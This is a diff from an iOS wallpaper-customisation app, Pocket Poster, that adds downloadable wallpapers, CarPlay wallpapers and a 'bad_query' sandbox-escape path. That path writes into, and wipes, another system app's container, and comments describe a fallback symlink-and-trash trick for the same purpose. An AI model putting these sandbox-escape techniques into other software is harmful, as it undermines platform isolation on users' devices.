<key>orderHint</key>
|
<key>orderHint</key>
|
||||||
<integer>1</integer>
|
<integer>0</integer>
|
||||||
</dict>
|
</dict>
|
||||||
</dict>
|
</dict>
|
||||||
</dict>
|
</dict>
|
||||||
|
|||||||
@@ -0,0 +1,79 @@
|
|||||||
|
//
|
||||||
|
// CowabungaAPI.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Created by lemin on 7/15/25.
|
||||||
|
//
|
||||||
|
|
||||||
|
import UIKit
|
||||||
|
|
||||||
|
enum FilterType: String, CaseIterable {
|
||||||
|
case random = "Random"
|
||||||
|
case newest = "Newest"
|
||||||
|
case oldest = "Oldest"
|
||||||
|
}
|
||||||
|
|
||||||
|
class CowabungaAPI: ObservableObject {
|
||||||
|
|
||||||
|
static let shared = CowabungaAPI()
|
||||||
|
|
||||||
|
var serverURL = ""
|
||||||
|
var session = URLSession.shared
|
||||||
|
|
||||||
|
func fetchWallpapers(type: DownloadableWallpaper.WallpaperType) async throws -> [DownloadableWallpaper] {
|
||||||
|
let request = URLRequest(url: .init(string: serverURL + "wallpapers-\(type.rawValue).json")!)
|
||||||
|
|
||||||
|
let (data, response) = try await session.data(for: request) as! (Data, HTTPURLResponse)
|
||||||
|
guard response.statusCode == 200 else { throw APIError.connectionFailed }
|
||||||
|
let wallpapers = try JSONDecoder().decode([DownloadableWallpaper].self, from: data)
|
||||||
|
|
||||||
|
for i in wallpapers.indices {
|
||||||
|
wallpapers[i].type = type
|
||||||
|
}
|
||||||
|
|
||||||
|
return wallpapers
|
||||||
|
}
|
||||||
|
|
||||||
|
func filterWallpapers(wallpapers: [DownloadableWallpaper], filterType: FilterType) -> [DownloadableWallpaper] {
|
||||||
|
var filtered = wallpapers
|
||||||
|
if filterType == FilterType.newest {
|
||||||
|
filtered = filtered.reversed()
|
||||||
|
} else if filterType == FilterType.random {
|
||||||
|
filtered = filtered.shuffled()
|
||||||
|
}
|
||||||
|
return filtered
|
||||||
|
}
|
||||||
|
|
||||||
|
func getCommitHash() async throws -> String {
|
||||||
|
let request = URLRequest(url: .init(string: serverURL + "https://api.github.com/repos/SerStars/nugget-wallpapers/commits/main")!)
|
||||||
|
|
||||||
|
let (data, response) = try await session.data(for: request) as! (Data, HTTPURLResponse)
|
||||||
|
guard response.statusCode == 200 else { throw APIError.connectionFailed }
|
||||||
|
guard let repoinfo = try JSONSerialization.jsonObject(with: data, options: []) as? [String: Any] else { throw APIError.repoHashError }
|
||||||
|
guard let hash = repoinfo["sha"] as? String else { throw APIError.repoHashError }
|
||||||
|
return hash
|
||||||
|
}
|
||||||
|
|
||||||
|
func getDownloadURLForWallpaper(wallpaper: DownloadableWallpaper) -> URL {
|
||||||
|
if wallpaper.url.hasPrefix("https://") {
|
||||||
|
URL(string: wallpaper.url)!
|
||||||
|
} else {
|
||||||
|
URL(string: serverURL + wallpaper.url)!
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func getPreviewURLForWallpaper(wallpaper: DownloadableWallpaper) -> URL {
|
||||||
|
URL(string: serverURL + wallpaper.preview)!
|
||||||
|
}
|
||||||
|
|
||||||
|
init() {
|
||||||
|
Task {
|
||||||
|
do {
|
||||||
|
let hash = try await getCommitHash()
|
||||||
|
serverURL = "https://raw.githubusercontent.com/SerStars/nugget-wallpapers/\(hash)/"
|
||||||
|
} catch {
|
||||||
|
await UIApplication.shared.alert(body: error.localizedDescription)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
//
|
||||||
|
// DownloadableWallpaper.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Created by lemin on 7/15/25.
|
||||||
|
//
|
||||||
|
|
||||||
|
class DownloadableWallpaper: Identifiable, Codable {
|
||||||
|
var name: String
|
||||||
|
var description: String?
|
||||||
|
var url: String
|
||||||
|
var preview: String
|
||||||
|
var authors: String?
|
||||||
|
var type: WallpaperType?
|
||||||
|
|
||||||
|
init(name: String, description: String?, authors: String?, preview: String, url: String, version: String) {
|
||||||
|
self.name = name
|
||||||
|
self.description = description
|
||||||
|
self.authors = authors
|
||||||
|
self.preview = preview
|
||||||
|
self.url = url
|
||||||
|
}
|
||||||
|
|
||||||
|
enum WallpaperType: String, Codable {
|
||||||
|
case custom, apple, template
|
||||||
|
}
|
||||||
|
|
||||||
|
func previewIsGif() -> Bool {
|
||||||
|
return preview.hasSuffix(".gif")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
{
|
||||||
|
"images" : [
|
||||||
|
{
|
||||||
|
"idiom" : "universal",
|
||||||
|
"scale" : "1x"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"filename" : "Mak5er@2x.png",
|
||||||
|
"idiom" : "universal",
|
||||||
|
"scale" : "2x"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"idiom" : "universal",
|
||||||
|
"scale" : "3x"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"info" : {
|
||||||
|
"author" : "xcode",
|
||||||
|
"version" : 1
|
||||||
|
}
|
||||||
|
}
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
@@ -0,0 +1,28 @@
|
|||||||
|
//
|
||||||
|
// CPBitmapHandler.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Created by lemin on 6/16/25.
|
||||||
|
//
|
||||||
|
|
||||||
|
import UIKit
|
||||||
|
import Dynamic
|
||||||
|
|
||||||
|
class CPBitmapHandler {
|
||||||
|
static func resizeAndSave(image: UIImage, to url: URL, size: CGSize) throws {
|
||||||
|
UIGraphicsBeginImageContextWithOptions(size, false, 0.0)
|
||||||
|
image.draw(in: CGRect(origin: CGPoint.zero, size: size))
|
||||||
|
let resizedImage = UIGraphicsGetImageFromCurrentImageContext()!
|
||||||
|
UIGraphicsEndImageContext()
|
||||||
|
|
||||||
|
try? FileManager.default.removeItem(at: url)
|
||||||
|
|
||||||
|
resizedImage.writeToCPBitmapFile(to: url.path() as NSString)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
extension UIImage {
|
||||||
|
func writeToCPBitmapFile(to path: NSString) {
|
||||||
|
Dynamic(self).writeToCPBitmapFile(path, flags: 1)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,168 @@
|
|||||||
|
//
|
||||||
|
// CarPlayWallpaper.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Created by lemin on 6/22/25.
|
||||||
|
//
|
||||||
|
|
||||||
|
import SwiftUI
|
||||||
|
|
||||||
|
struct CarPlayWallpaper: Identifiable {
|
||||||
|
var id = UUID()
|
||||||
|
var name: String
|
||||||
|
var lightImage: UIImage
|
||||||
|
var darkImage: UIImage
|
||||||
|
var selectedImageDataLight: Data?
|
||||||
|
var selectedImageDataDark: Data?
|
||||||
|
}
|
||||||
|
|
||||||
|
extension CarPlayWallpaper: Reorderable {
|
||||||
|
typealias OrderElement = String
|
||||||
|
var orderElement: OrderElement { name }
|
||||||
|
}
|
||||||
|
|
||||||
|
class CarPlayManager {
|
||||||
|
static func supportsCarPlay() -> Bool {
|
||||||
|
if UIDevice.current.userInterfaceIdiom != .phone {
|
||||||
|
// CarPlay is not on iPads
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if #available(iOS 19, *) {
|
||||||
|
// get the build number
|
||||||
|
var osVersionString = [CChar](repeating: 0, count: 16)
|
||||||
|
var osVersionStringLen = size_t(osVersionString.count - 1)
|
||||||
|
|
||||||
|
let result = sysctlbyname("kern.osversion", &osVersionString, &osVersionStringLen, nil, 0)
|
||||||
|
|
||||||
|
if result == 0 {
|
||||||
|
// Convert C array to String
|
||||||
|
if let build = String(validatingUTF8: osVersionString) {
|
||||||
|
// check build number for iOS 26 dev beta 1-3, return true if user is on that
|
||||||
|
if build == "23A5260n" // dev beta 1
|
||||||
|
|| build == "23A5260u" // dev beta 1 (iPhone 15/16 series)
|
||||||
|
|| build == "23A5276f" // dev beta 2
|
||||||
|
|| build == "23A5287g" { // dev beta 3
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
print("Failed to convert build number to String")
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
print("sysctlbyname failed with error: \(String(cString: strerror(errno)))")
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
static func getCarPlayCacheVersion() -> String {
|
||||||
|
// they started adding numbers to the end in iOS 18, this is to compensate for that
|
||||||
|
if #available(iOS 19.0, *) {
|
||||||
|
return "-12"
|
||||||
|
} else if #available(iOS 18.0, *) {
|
||||||
|
return "-11"
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
static func getCarPlayWallpaperNames() -> [String]? {
|
||||||
|
dlopen("/System/Library/PrivateFrameworks/CarPlayUIServices.framework/CarPlayUIServices", RTLD_GLOBAL)
|
||||||
|
|
||||||
|
if #available(iOS 18.0, *) {
|
||||||
|
// iOS 18 method (it got moved)
|
||||||
|
guard let obj = objc_getClass("CRSUISystemWallpaper") as? NSObject else { print("no class"); return nil }
|
||||||
|
|
||||||
|
if let success = obj.perform(Selector(("wallpapers"))), let arr = success.takeUnretainedValue() as? [NSObject] {
|
||||||
|
var namesList: [String] = []
|
||||||
|
for wp in arr {
|
||||||
|
if let wpACName = wp.perform(Selector(("wallpaperAssetCatalogName"))), let result = wpACName.takeUnretainedValue() as? String {
|
||||||
|
namesList.append(result)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return namesList
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// iOS 17-
|
||||||
|
guard let obj = objc_getClass("CRSUIWallpaperPreferences") as? NSObject else { print("no class"); return nil }
|
||||||
|
if let success = obj.perform(Selector(("availableWallpapers"))), let arr = success.takeUnretainedValue() as? [NSObject] {
|
||||||
|
var namesList: [String] = []
|
||||||
|
for wp in arr {
|
||||||
|
if let wpACName = wp.perform(Selector(("wallpaperAssetCatalogName"))), let result = wpACName.takeUnretainedValue() as? String {
|
||||||
|
namesList.append(result)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return namesList
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
static func getCarPlayPhotosURL() -> URL {
|
||||||
|
let cppURL = SymHandler.getDocumentsDirectory().appendingPathComponent("CarPlayPhotos", conformingTo: .directory)
|
||||||
|
// create it if it doesn't exist
|
||||||
|
if !FileManager.default.fileExists(atPath: cppURL.path()) {
|
||||||
|
try? FileManager.default.createDirectory(at: cppURL, withIntermediateDirectories: true)
|
||||||
|
}
|
||||||
|
return cppURL
|
||||||
|
}
|
||||||
|
|
||||||
|
static func applyCarPlay(appHash: String, wallpapers: [CarPlayWallpaper]) throws {
|
||||||
|
// write the image
|
||||||
|
var toRemove: [URL] = []
|
||||||
|
var activeWP: [String] = UserDefaults.standard.array(forKey: "ActiveCarPlayWallpapers") as? [String] ?? []
|
||||||
|
let cppURL = getCarPlayPhotosURL()
|
||||||
|
let cacheVer = getCarPlayCacheVersion()
|
||||||
|
for wallpaper in wallpapers {
|
||||||
|
if let data = wallpaper.selectedImageDataLight, let img = UIImage(data: data) {
|
||||||
|
let imgURL = SymHandler.getDocumentsDirectory().appendingPathComponent("CAR\(wallpaper.name)Dynamic-Light\(cacheVer).cpbitmap")
|
||||||
|
img.writeToCPBitmapFile(to: imgURL.path() as NSString)
|
||||||
|
try? data.write(to: cppURL.appendingPathComponent("\(wallpaper.name)-Light"))
|
||||||
|
toRemove.append(imgURL)
|
||||||
|
if !activeWP.contains(wallpaper.name) {
|
||||||
|
activeWP.append(wallpaper.name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if let data = wallpaper.selectedImageDataDark, let img = UIImage(data: data) {
|
||||||
|
let imgURL = SymHandler.getDocumentsDirectory().appendingPathComponent("CAR\(wallpaper.name)Dynamic-Dark\(cacheVer).cpbitmap")
|
||||||
|
img.writeToCPBitmapFile(to: imgURL.path() as NSString)
|
||||||
|
try? data.write(to: cppURL.appendingPathComponent("\(wallpaper.name)-Dark"))
|
||||||
|
toRemove.append(imgURL)
|
||||||
|
if !activeWP.contains(wallpaper.name) {
|
||||||
|
activeWP.append(wallpaper.name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
defer {
|
||||||
|
SymHandler.cleanup()
|
||||||
|
}
|
||||||
|
|
||||||
|
let cacheRel = "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
|
||||||
|
if SymHandler.prefersBadQuery {
|
||||||
|
let destPath = BadQuery.carPlayCachePath(appHash: appHash)
|
||||||
|
do {
|
||||||
|
try SymHandler.writeFilesViaBadQuery(toDirectory: destPath, files: toRemove)
|
||||||
|
// remove local staging copies after successful write
|
||||||
|
for imgURL in toRemove {
|
||||||
|
try? FileManager.default.removeItem(at: imgURL)
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
print("bad_query CarPlay failed, falling back to symlink: \(error)")
|
||||||
|
let _ = try SymHandler.createAppSymlink(for: cacheRel)
|
||||||
|
for imgURL in toRemove {
|
||||||
|
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// legacy symlink + trashItem
|
||||||
|
let _ = try SymHandler.createAppSymlink(for: cacheRel)
|
||||||
|
for imgURL in toRemove {
|
||||||
|
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
UserDefaults.standard.set(activeWP, forKey: "ActiveCarPlayWallpapers")
|
||||||
|
let test = SymHandler.getDocumentsDirectory().appendingPathComponent("Caches")
|
||||||
|
try Data(count: 0).write(to: test)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -6,13 +6,62 @@
|
|||||||
//
|
//
|
||||||
|
|
||||||
import Foundation
|
import Foundation
|
||||||
|
import UIKit
|
||||||
|
|
||||||
class DownloadManager {
|
class DownloadManager: ObservableObject {
|
||||||
static func getWallpaperNameFromURL(string url: String) -> String {
|
static let shared = DownloadManager()
|
||||||
|
static let exploreLink = "https://cowabun.ga/wallpapers?pocketposter=true"
|
||||||
|
|
||||||
|
@Published var downloadURL: String? = nil
|
||||||
|
|
||||||
|
func getWallpaperNameFromURL(string url: String) -> String {
|
||||||
return String(url.split(separator: "/").last ?? "Unknown")
|
return String(url.split(separator: "/").last ?? "Unknown")
|
||||||
}
|
}
|
||||||
|
|
||||||
static func downloadFromURL(_ url: URL) async throws -> URL {
|
func startTendiesDownload(for url: URL) {
|
||||||
|
// prohibit to only tendies files
|
||||||
|
if !url.absoluteString.hasSuffix(".tendies") {
|
||||||
|
UIApplication.shared.alert(body: NSLocalizedString("Only .tendies files can be downloaded!", comment: ""))
|
||||||
|
} else if PosterBoardManager.shared.selectedTendies.count >= PosterBoardManager.MaxTendies {
|
||||||
|
UIApplication.shared.alert(title: NSLocalizedString("Max Tendies Reached", comment: ""), body: String(format: NSLocalizedString("You can only apply %@ descriptors.", comment: ""), "\(PosterBoardManager.MaxTendies)"))
|
||||||
|
} else {
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
self.downloadURL = url.absoluteString.replacingOccurrences(of: "pocketposter://download?url=", with: "")
|
||||||
|
UIApplication.shared.confirmAlert(title: NSLocalizedString("Download Tendies File", comment: ""), body: String(format: NSLocalizedString("Would you like to download the file %@?", comment: ""), "\(self.getWallpaperNameFromURL(string: self.downloadURL ?? "/Unknown"))"), onOK: {
|
||||||
|
self.downloadWallpaper()
|
||||||
|
}, noCancel: false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func downloadWallpaper() {
|
||||||
|
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
||||||
|
UIApplication.shared.alert(title: NSLocalizedString("Downloading", comment: "") + " \(getWallpaperNameFromURL(string: downloadURL ?? "/Unknown"))...", body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
|
||||||
|
|
||||||
|
Task {
|
||||||
|
do {
|
||||||
|
let newURL = try await downloadFromURL(string: downloadURL!)
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
PosterBoardManager.shared.selectedTendies.append(newURL)
|
||||||
|
Haptic.shared.notify(.success)
|
||||||
|
UIApplication.shared.dismissAlert(animated: true)
|
||||||
|
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
|
||||||
|
UIApplication.shared.alert(title: NSLocalizedString("Successfully downloaded wallpaper!", comment: ""), body: NSLocalizedString("Your downloaded .tendies will be on the Home page.", comment: "after successfully downloading tendies"))
|
||||||
|
})
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
Haptic.shared.notify(.error)
|
||||||
|
UIApplication.shared.dismissAlert(animated: true)
|
||||||
|
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
|
||||||
|
UIApplication.shared.alert(title: NSLocalizedString("Could not download wallpaper!", comment: ""), body: error.localizedDescription)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func downloadFromURL(_ url: URL) async throws -> URL {
|
||||||
print("Downloading from \(url.absoluteString)")
|
print("Downloading from \(url.absoluteString)")
|
||||||
|
|
||||||
let request = URLRequest(url: url)
|
let request = URLRequest(url: url)
|
||||||
@@ -24,12 +73,12 @@ class DownloadManager {
|
|||||||
return newURL
|
return newURL
|
||||||
}
|
}
|
||||||
|
|
||||||
static func downloadFromURL(string path: String) async throws -> URL {
|
func downloadFromURL(string path: String) async throws -> URL {
|
||||||
guard let url = URL(string: path) else { throw URLError(.unknown) }
|
guard let url = URL(string: path) else { throw URLError(.unknown) }
|
||||||
return try await downloadFromURL(url)
|
return try await downloadFromURL(url)
|
||||||
}
|
}
|
||||||
|
|
||||||
static func copyTendies(from url: URL) throws -> URL {
|
func copyTendies(from url: URL) throws -> URL {
|
||||||
// scope the resource
|
// scope the resource
|
||||||
let accessing = url.startAccessingSecurityScopedResource()
|
let accessing = url.startAccessingSecurityScopedResource()
|
||||||
defer {
|
defer {
|
||||||
|
|||||||
@@ -30,6 +30,11 @@ class PosterBoardManager: ObservableObject {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func setSystemLanguage(to new_lang: String) -> Bool {
|
func setSystemLanguage(to new_lang: String) -> Bool {
|
||||||
|
// Load Preferences private frameworks if needed
|
||||||
|
dlopen("/System/Library/PrivateFrameworks/SettingsFoundation.framework/SettingsFoundation", RTLD_NOW)
|
||||||
|
dlopen("/System/Library/PrivateFrameworks/Preferences.framework/Preferences", RTLD_NOW)
|
||||||
|
dlopen("/System/Library/PrivateFrameworks/InternationalSupport.framework/InternationalSupport", RTLD_NOW)
|
||||||
|
|
||||||
var langManager: NSObject = NSObject()
|
var langManager: NSObject = NSObject()
|
||||||
if #available(iOS 18.0, *) {
|
if #available(iOS 18.0, *) {
|
||||||
guard let obj = objc_getClass("IPSettingsUtilities") as? NSObject else { return false }
|
guard let obj = objc_getClass("IPSettingsUtilities") as? NSObject else { return false }
|
||||||
@@ -46,6 +51,63 @@ class PosterBoardManager: ObservableObject {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Wipe PosterBoard custom descriptor collections using bad_query (real delete).
|
||||||
|
/// Falls back to language-toggle trick on older exploit path.
|
||||||
|
func resetCollections(appHash: String) throws {
|
||||||
|
if SymHandler.prefersBadQuery {
|
||||||
|
try wipeDescriptorsViaBadQuery(appHash: appHash)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Legacy: language toggle forces PosterBoard to rebuild collections
|
||||||
|
guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else {
|
||||||
|
throw ApplyError.unexpected(info: "Could not read system language for reset.")
|
||||||
|
}
|
||||||
|
guard setSystemLanguage(to: lang) else {
|
||||||
|
throw ApplyError.unexpected(info: "Language API failed. Reset collections manually in Settings → Language & Region.")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Delete everything under each PRBPosterExtensionDataStore/*/Extensions/*/descriptors.
|
||||||
|
private func wipeDescriptorsViaBadQuery(appHash: String) throws {
|
||||||
|
let ver = SymHandler.getExtensionVersion()
|
||||||
|
let extensionsRoot = BadQuery.applicationContainerPath(appHash: appHash)
|
||||||
|
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions"
|
||||||
|
|
||||||
|
// Open parent with sandbox extension
|
||||||
|
let rootHandle = try BadQuery.consume(path: extensionsRoot, create: true)
|
||||||
|
defer { rootHandle.release() }
|
||||||
|
|
||||||
|
let fm = FileManager.default
|
||||||
|
guard fm.fileExists(atPath: extensionsRoot) else {
|
||||||
|
// Nothing to wipe — treat as success (collections already empty / never set up)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
let extDirs = try fm.contentsOfDirectory(atPath: extensionsRoot)
|
||||||
|
var wiped = 0
|
||||||
|
for extName in extDirs {
|
||||||
|
let descriptorsPath = (extensionsRoot as NSString)
|
||||||
|
.appendingPathComponent(extName)
|
||||||
|
.appending("/descriptors")
|
||||||
|
|
||||||
|
// Ensure we hold an extension on the descriptors dir itself
|
||||||
|
let descHandle = try? BadQuery.consume(path: descriptorsPath, create: true)
|
||||||
|
defer { descHandle?.release() }
|
||||||
|
|
||||||
|
guard fm.fileExists(atPath: descriptorsPath) else { continue }
|
||||||
|
|
||||||
|
let items = (try? fm.contentsOfDirectory(atPath: descriptorsPath)) ?? []
|
||||||
|
for item in items {
|
||||||
|
if item == "__MACOSX" || item.hasPrefix(".") { continue }
|
||||||
|
let full = (descriptorsPath as NSString).appendingPathComponent(item)
|
||||||
|
try? fm.removeItem(atPath: full)
|
||||||
|
wiped += 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
print("resetCollections: wiped \(wiped) descriptor item(s)")
|
||||||
|
}
|
||||||
|
|
||||||
func openPosterBoard() -> Bool {
|
func openPosterBoard() -> Bool {
|
||||||
guard let obj = objc_getClass("LSApplicationWorkspace") as? NSObject else { return false }
|
guard let obj = objc_getClass("LSApplicationWorkspace") as? NSObject else { return false }
|
||||||
let workspace = obj.perform(Selector(("defaultWorkspace")))?.takeUnretainedValue() as? NSObject
|
let workspace = obj.perform(Selector(("defaultWorkspace")))?.takeUnretainedValue() as? NSObject
|
||||||
@@ -59,6 +121,8 @@ class PosterBoardManager: ObservableObject {
|
|||||||
|
|
||||||
private func unzipFile(at url: URL) throws -> URL {
|
private func unzipFile(at url: URL) throws -> URL {
|
||||||
let fileName = url.deletingPathExtension().lastPathComponent
|
let fileName = url.deletingPathExtension().lastPathComponent
|
||||||
|
// Replace spaces and %20 with underscores
|
||||||
|
let normalizedFileName = fileName.replacingOccurrences(of: "[ \\%20]", with: "_", options: .regularExpression)
|
||||||
let fileData = try Data(contentsOf: url)
|
let fileData = try Data(contentsOf: url)
|
||||||
let fileManager = FileManager()
|
let fileManager = FileManager()
|
||||||
|
|
||||||
@@ -67,7 +131,6 @@ class PosterBoardManager: ObservableObject {
|
|||||||
if !FileManager.default.fileExists(atPath: path.path()) {
|
if !FileManager.default.fileExists(atPath: path.path()) {
|
||||||
try? FileManager.default.createDirectory(at: path, withIntermediateDirectories: true)
|
try? FileManager.default.createDirectory(at: path, withIntermediateDirectories: true)
|
||||||
}
|
}
|
||||||
let url = path.appending(path: fileName)
|
|
||||||
|
|
||||||
// Remove All files in this directory
|
// Remove All files in this directory
|
||||||
let existingFiles = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
let existingFiles = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||||
@@ -75,16 +138,17 @@ class PosterBoardManager: ObservableObject {
|
|||||||
{
|
{
|
||||||
try FileManager.default.removeItem(at: fileUrl)
|
try FileManager.default.removeItem(at: fileUrl)
|
||||||
}
|
}
|
||||||
|
let zipURL = path.appending(path: normalizedFileName)
|
||||||
|
|
||||||
// Save our Zip file
|
// Save our Zip file
|
||||||
try fileData.write(to: url, options: [.atomic])
|
try fileData.write(to: zipURL, options: [.atomic])
|
||||||
|
|
||||||
// Unzip the Zipped Up File
|
// Unzip the Zipped Up File
|
||||||
var destinationURL = path
|
var destinationURL = path
|
||||||
if FileManager.default.fileExists(atPath: url.path())
|
if FileManager.default.fileExists(atPath: zipURL.path())
|
||||||
{
|
{
|
||||||
destinationURL.append(path: "directory")
|
destinationURL.append(path: "directory")
|
||||||
try fileManager.unzipItem(at: url, to: destinationURL)
|
try fileManager.unzipItem(at: zipURL, to: destinationURL)
|
||||||
}
|
}
|
||||||
|
|
||||||
return destinationURL
|
return destinationURL
|
||||||
@@ -102,7 +166,6 @@ class PosterBoardManager: ObservableObject {
|
|||||||
if fileName.lowercased() == "container" {
|
if fileName.lowercased() == "container" {
|
||||||
// container support, find the extensions
|
// container support, find the extensions
|
||||||
let extDir = dir.appending(path: "Library/Application Support/PRBPosterExtensionDataStore/61/Extensions")
|
let extDir = dir.appending(path: "Library/Application Support/PRBPosterExtensionDataStore/61/Extensions")
|
||||||
print(extDir.absoluteString)
|
|
||||||
var retList: [String: [URL]] = [:]
|
var retList: [String: [URL]] = [:]
|
||||||
for ext in try FileManager.default.contentsOfDirectory(at: extDir, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
|
for ext in try FileManager.default.contentsOfDirectory(at: extDir, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
|
||||||
let descrDir = ext.appendingPathComponent("descriptors")
|
let descrDir = ext.appendingPathComponent("descriptors")
|
||||||
@@ -210,19 +273,33 @@ class PosterBoardManager: ObservableObject {
|
|||||||
SymHandler.cleanup()
|
SymHandler.cleanup()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let useBadQuery = SymHandler.prefersBadQuery
|
||||||
|
if useBadQuery {
|
||||||
|
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "bad_query sandbox escape…")
|
||||||
|
}
|
||||||
|
|
||||||
for (ext, descriptorsList) in extList {
|
for (ext, descriptorsList) in extList {
|
||||||
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
|
var foldersToWrite: [URL] = []
|
||||||
for descriptors in descriptorsList {
|
for descriptors in descriptorsList {
|
||||||
// create the folder
|
|
||||||
for descr in try FileManager.default.contentsOfDirectory(at: descriptors, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
|
for descr in try FileManager.default.contentsOfDirectory(at: descriptors, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
|
||||||
if descr.lastPathComponent != "__MACOSX" {
|
if descr.lastPathComponent != "__MACOSX" {
|
||||||
try randomizeWallpaperId(url: descr)
|
try randomizeWallpaperId(url: descr)
|
||||||
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
|
foldersToWrite.append(descr)
|
||||||
try FileManager.default.moveItem(at: descr, to: newURL)
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
|
if useBadQuery {
|
||||||
}
|
// iOS 26/27: direct write via container_query sandbox extension
|
||||||
|
do {
|
||||||
|
try SymHandler.writeDescriptorsViaBadQuery(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite)
|
||||||
|
} catch {
|
||||||
|
// Fall back to legacy .Trash symlink if bad_query path fails
|
||||||
|
print("bad_query apply failed, falling back to symlink: \(error)")
|
||||||
|
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
|
||||||
}
|
}
|
||||||
SymHandler.cleanup()
|
SymHandler.cleanup()
|
||||||
}
|
}
|
||||||
@@ -235,11 +312,23 @@ class PosterBoardManager: ObservableObject {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Legacy exploit: symlink Documents/.Trash → descriptors, then trashItem into it.
|
||||||
|
private func applyDescriptorsViaSymlink(appHash: String, ext: String, folders: [URL]) throws {
|
||||||
|
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
|
||||||
|
for descr in folders {
|
||||||
|
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
|
||||||
|
try FileManager.default.copyItem(at: descr, to: newURL)
|
||||||
|
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
static func clearCache() throws {
|
static func clearCache() throws {
|
||||||
SymHandler.cleanup()
|
SymHandler.cleanup()
|
||||||
let docDir = SymHandler.getDocumentsDirectory()
|
let docDir = SymHandler.getDocumentsDirectory()
|
||||||
for file in try FileManager.default.contentsOfDirectory(at: docDir, includingPropertiesForKeys: nil) {
|
for file in try FileManager.default.contentsOfDirectory(at: docDir, includingPropertiesForKeys: nil) {
|
||||||
|
if file.lastPathComponent != "CarPlayPhotos" {
|
||||||
try FileManager.default.removeItem(at: file)
|
try FileManager.default.removeItem(at: file)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
